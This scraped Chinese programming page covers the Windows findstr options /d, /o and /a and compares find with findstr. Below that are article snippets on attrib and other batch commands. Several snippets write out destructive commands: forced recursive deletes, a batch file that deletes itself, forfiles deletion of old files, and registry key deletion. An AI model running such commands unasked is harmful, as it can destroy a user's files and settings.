    /d参数我一直把它和/f、/g归为一类,但其实二者截然不同,/f、/g是用文本文件制定要查找的文件、字符串,而/d是直接书写目录名到命令中。

    代码:

    @echo off
    findstr /imd:520;编程; ".*" "*.txt"
    pause
    

    结果:

    520:
    hello.txt
    编程:
    help.txt
    win7 help比xp help多出来的命令.txt
    wmic.txt

    查找在520、编程目录中所有包含任意字符的txt文件。

    13.统计字符数

    /o:在每行前打印字符偏移量,在找到的每行前打印该行首距离文件开头的位置,也就是多少个字符

    如test.txt中有如下内容:
    aaaaaaaaaa
    aaaaaaaaaa
    aaaaaaaaaa
    aaaaaaaaaa
    aaaaaaaaaa
    aaaaaaaaaa

    执行命令:

    @echo off
    findstr /o .* test.txt
    ::上一行中的.*为正则表达式的内容,表示任意行,包含空行
    pause
    

    结果如下:

    0:aaaaaaaaaa
    12:aaaaaaaaaa
    24:aaaaaaaaaa
    36:aaaaaaaaaa
    48:aaaaaaaaaa
    60:aaaaaaaaaa
    请按任意键继续. . .

    注意每行末尾的回车换行符算两个字符。

    14.以指定颜色显示文件名

    /a:当被搜索文件名中含有通配符*或?时对搜索结果的文件名部分指定颜色属性,具体颜色值参见color帮助:

    0 = 黑色 8 = 灰色

    1 = 蓝色 9 = 淡蓝色

    2 = 绿色 A = 淡绿色

    3 = 浅绿色 B = 淡浅绿色

    4 = 红色 C = 淡红色

    5 = 紫色 D = 淡紫色

    6 = 黄色 E = 淡黄色

    7 = 白色 F = 亮白色

    常用于彩色显示,举个简单的例子,想要彩色显示“批处理之家”怎么办,假如当前的color设置为27(背景绿色,字体白色),用蓝色显示“批处理之家”咋办?::下一行的退格符可以在cmd的编辑模式下按ctrl+p后按退格键获得

    >"批处理之家" set /p=<nul
    
    findstr /a:21 .* "批处理之家*"
    
    pause
    

    代码中的退格符是为了让显示的内容仅为"批处理之家",如果有其他内容,在彩色显示的"批处理之家"后还有一个冒号和其他内容,退格符正好将冒号删除。注意代码中的通配符是必须的。

    以上部分内容转自:https://blog.csdn.net/sun1018974080/article/details/83828855
      部分内容转自:https://blog.csdn.net/zhouzihan520xj/article/details/40301041

    find比findstr更强的地方:
    1、统计含指定字符串的总行数。find /c “abc” test.txt可以统计test.txt中含有字符串abc的总行数,而findstr则没有直接提供该功能,需要配合for语句才能实现;
    2、find可以读取Unicode格式的文本,而findstr则不行;
    3、find可以过滤某些特殊字符,而findstr则不行,比如,我们在使用fsutil fsinfo drives语句查询磁盘分区的时候,如果想让盘符分行显示而不是显示在同一行上的时候(这在用for语句提取盘符的时候很有用),find可以大显身手,而findstr只能干瞪眼了,具体语句为: 代码: fsutil fsinfo drives|find /v “”

    展开全文
  • BAT批处理文件 attrib命令详解

    千次阅读 2019-04-25 21:58:10
    显示或更改文件属性。 ATTRIB [+R | -R] [+A | -A] [+S | -S] [+H | -H] [+O | -O] [+I | -I] [+X | -X] [+P | -P] [+U | -U] [drive:][path][filename] [/S [/D]] [/L] + 设置属性 - 清除属性 R 只读文件属性 只读...

    attrib/?(2019.04.25)
    显示或更改文件属性。

    ATTRIB [+R | -R] [+A | -A] [+S | -S] [+H | -H] [+O | -O] [+I | -I] [+X | -X] [+P | -P] [+U | -U] [drive:][path][filename] [/S [/D]] [/L]

    + 设置属性  - 清除属性

    R 只读文件属性

    只读文件,指的是表示这个文档只能打开来观看,不能修改也不能储存。

    A 存档文件属性

    一般作为备份的标志,当备份软件备份文件后,会把存档属性去掉,而一般的编辑器在编辑文件后,会默认给文件加上存档属性,这样下次再备份的时候就可以只备份有存档属性的文件,从而达到增量备份的目的。

    S 系统文件属性

    系统文件指的是存放操作系统主要文件的文件夹,一般在安装操作系统过程中自动创建并将相关文件放在对应的文件夹中,这里面的文件直接影响系统的正常运行,多数都不允许随意改变。它的存在对维护计算机系统的稳定具有重要作用。

    H 隐藏文件属性

    默认是看不到的文件,把文件隐藏一般出于保护该文件被误删,也从侧面反应了文件的重要性。

    O 脱机属性

    I 无内容索引文件属性

    X 无清理文件属性

    V 完整性属性

    P 固定属性

    U 非固定属性

    [drive:][path][filename]
    指定属性要处理的文件。

    开关作用
    /S处理当前文件夹及其所有子文件夹中的匹配文件。
    /D也处理文件夹。
    /L处理符号链接和符号链接目标的属性

    小提示:在dos下输入help可以查看支持的命令列表,某个命令的详细用法可以用 help 命令名 或 命令名 /? 来查看。

    展开全文
  • //批处理使用方法:把代码写入记事本,修改后缀名 txt 为 bat.双击运行. //剪切文件 move "C:\迅雷下载\1.exe" "D:\3.exe" //删除文件自身 attrib -h -s -r -a %0 del %0 //延时并删除文件 TIME...
  • BAT批处理文件 reg命令详解

    千次阅读 2019-04-24 09:02:35
    如果没有指定路径,文件会在调用进程的当前文件夹中得到创建。 开关 作用 /y 不用提示就强行覆盖现有文件。 /reg:32 指定应该使用 32 位注册表视图访问的注册表项。 /reg:64 ...
  • 批处理文件命令

    千次阅读 2012-01-08 20:43:03
    echo、@、call、pause、rem 是批处理文件最常用的几个命令,我们就从他们开始学起。  echo 表示显示此命令后的字符   echo off 表示在此语句后所有运行的命令都不显示命令行本身   @ 与echo off相象,但它...
  • bat批处理删除文件

    千次阅读 2017-03-03 12:37:19
    最近接触到了一些有意思的技术,比如chrome插件,批处理脚本。以前都只会用,现在想着...于是正好写个批处理文件。1、什么是bat 批处理是window下可以执行的一个脚本文件,后缀名是bat。里面可以写上dos命令,然后运行
  • 1. 用批处理文件删除当前目录下 7 天以前的扩展名为bkf文件(以当前系统时间为基准) 示例: forfiles /m *.bkf /d -7 /c "cmd /c del @file /f" 2. forfiles 自动删除7天前文件 (以当前系统时间为基准) 示例: ...
  • 批处理命令 删除文件

    千次阅读 2018-02-06 13:44:45
    rem del /q /s del /q /s D:\数据库-勿删\Data\config.xml 删除文件 rem rename D:\数据库-勿删\Data\configC.xml config.xml 重命名文件 del /q /s %1\config.xml rename %1\configC.xml conf
  • windows自动化批处理删除文件

    千次阅读 2018-03-31 16:31:07
    前言最近发现某软件删除某几个文件夹之后,就可以再次免费试用,但试用期结束之后...问题描述使用bat文件批处理删除某几个文件、文件夹问题解决删除文件del /s /q /s 路径删除目录rd /s /q 路径注:/s ---&gt;...
  • 命令提示下键入批处理文件的名称,或者双击该批处理文件,系统就会调用Cmd.exe按照该文件中各个命令出现的顺序来逐个运行它们。使用批处理文件(也被称为批处理程序或脚本),可以简化日常或重复性任务。当然我们...
  • 常用bat批处理文件命令

    千次阅读 2014-07-29 11:24:13
    echo、@、call、rem、pause 、goto、set是批处理文件最常用的几个命令。 echo 命令 打开回显或关闭请求回显功能,或显示消息。如果没有任何参数,echo 命令将显示当前回显设置。 语法 echo [{on|off}]...
  • 文章目录介绍创建批处理文件使用copy con命令创建使用记事本创建语法echo@pausecallremset 介绍 批处理(Batch),也称为批处理脚本。顾名思义,批处理就是对某对象进行批量的处理。批处理文件的扩展名为 bat 批处理...
  • 详细的批处理文件bat脚本命令

    千次阅读 多人点赞 2019-12-21 16:03:34
    批处理文件的使用 在Linux系统下,批处理通过shell脚本完成,而在windows平台下,批处理文件...在命令提示下输入批处理文件的名称,或者双击该批处理文件,系统就会调用cmd.exe按照该文件中各个命令出现的顺序来...
  • 应用于开机或者需要批处理的数据库命令,处理数据更快更有效。
  • 批处理文件(batch file)包含一系列 DOS命令,通常用于自动执行重复性任务。用户只需双击批处理文件便可执行任务,而无需重复输入相同指令。编写批处理文件非常简单,但难点在于确保一切按顺序执行。编写严谨的...
  • 1.bat重命名文件 ren aaa.txt bbb.doc 解释:将 aaa.txt 命名为 bbb.doc2.bat删除文件 del aaa.txt 解释:将aaa.txt 文件删除3.bat删除文件夹 rd aaa 解释:将aaa的文件夹删除
  • 命令格式: forfiles.exe /p "D:\备份" /s /m *.zip /d -7 /c "cmd /c del @path" /p:指定目录 .../c:自行命令,后面双引号括起来的是删除文件命令 转载于:https://www.cnblogs.com/crxis/p/694...
  • bat 批处理的专用命令

    2013-12-20 17:09:35
    批处理文件是将一系列命令按一定的顺序集合为一个可执行的文本文件,其扩展名为BAT。这些命令统称批处理命令,下面我就来给大家介绍一下批处理命令。  1、 REM  REM 是个注释命令一般是用来给程序加上注解的,该...
  • 如何创建批处理文件?  不要听了批处理文件就感到很神气,其实这东西很简单的.你用过记事本没有?用过?...这东西就是你创建的批处理文件,双击他就可以运行,但他现在由于里面没有输入任何命令...
  • 一、背景 ... 比如我桌面上有一个kill java.bat 文件,如下所示: kill java.bat 文件的内容为 ...taskkill /im java.exe /f ...二、将bat批处理命令文件固定到任务栏 2.1 第一步,将kill java.bat ...
  • windows批处理删除文件

    2011-02-23 09:56:37
    需要批量删除一些文件,如果用dos命令,可快速的批量删除。 点击“开始”→“运行”,输入:“CMD”后回车。然后在“命令提示符”窗口下输入: del F:\_desktop.ini /f /s /q /a (F代表你要操作的盘符,如果是C盘...
  • 使用批处理命令删除指定后缀文件

    千次阅读 2020-08-13 21:13:52
    写了很多C++代码,产生了很多.exe文件,今天看到C盘红了,想着把运行.cpp文件后产生的.exe文件全部删除,使用批处理命令很简单 ->首先在想删除指定后缀文件的同一个文件夹下新建一个del.txt文档,当然,名字随意 ...
  • windows下批处理删除文件及注册表项

    万次阅读 2017-11-28 18:50:01
    1、windows下批处理删除注册表项 假如我要清除WinRAR的历史记录,可以新建个批处理文件, 然后在里面加入如下文字: reg delete HKEY_CURRENT_USER/Software/WinRAR/DialogEditHistory/ExtrPath /va /f reg ...
  • 批处理命令 删除文件,重命名文件

    万次阅读 2012-04-11 14:48:18
    rem del /q /s del /q /s D:\数据库-勿删\Data\config.xml 删除文件 rem rename D:\数据库-勿删\Data\configC.xml config.xml 重命名文件 del /q /s %1\config.xml rename %1\configC.xml config.x
  • 如何用dos命令批量删除文件及制作该命令批处理命令.pdf

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 56,303
精华内容 22,521
关键字:

批处理删除文件命令